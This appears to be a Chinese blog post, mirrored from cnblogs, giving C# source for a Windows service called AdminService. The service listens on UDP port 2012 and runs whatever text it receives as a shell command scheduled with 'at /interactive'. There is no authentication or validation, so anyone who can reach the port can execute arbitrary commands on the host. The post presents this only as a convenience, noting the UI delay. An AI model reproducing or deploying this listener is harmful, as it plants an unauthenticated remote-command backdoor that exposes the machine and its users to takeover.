zoukankan      html  css  js  c++  java
  • WindowService 执行命令

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Diagnostics;
    using System.Linq;
    using System.ServiceProcess;
    using System.Text;
    using System.Threading;
    using System.Net.Sockets;
    using System.Net;
    
    namespace WindowsService1
    {
        public partial class AdminService : ServiceBase
        {
            public AdminService()
            {
                InitializeComponent();
            }
    
            protected override void OnStart(string[] args)
            {
                
                Thread cmd = new Thread(new ParameterizedThreadStart(delegate(object arg)
                {
                    UdpClient udp = new UdpClient(2012);
                    IPEndPoint remoteEndPoint = new IPEndPoint(new IPAddress(0), 0);
                    while (true)
                    {
                        try
                        {
                            byte[] data = udp.Receive(ref remoteEndPoint);
                            var response = Encoding.Default.GetString(data);
                            var path = string.Format("at {0} /interactive {1}", DateTime.Now.AddMinutes(1).ToString("HH:mm"), response);
                            Microsoft.VisualBasic.Interaction.Shell(path);
                        }
                        catch (Exception)
                        {
    
                        }
                    }
                }));
                cmd.Start();
            }
    
            protected override void OnStop()
            {
                Environment.Exit(0);
            }
        }
    }

     这种Shell被启动的程序可以出现UI,但会一段时间的延迟,最长一分钟。否则进程会运行,但UI出不来。

  • 相关阅读:
    网页结构树DOM
    网页设计之js
    css了解一下!!!
    Html !!!了解一下
    进程and线程and协程效率对比
    线程
    进程之生产者消费者模型(队列,管道,数据共享,进程池)
    进程之机制问题(锁,信号,事件)
    并发进程
    socket模块其他用法
  • 原文地址:https://www.cnblogs.com/nanfei/p/2621584.html
Copyright © 2011-2022 走看看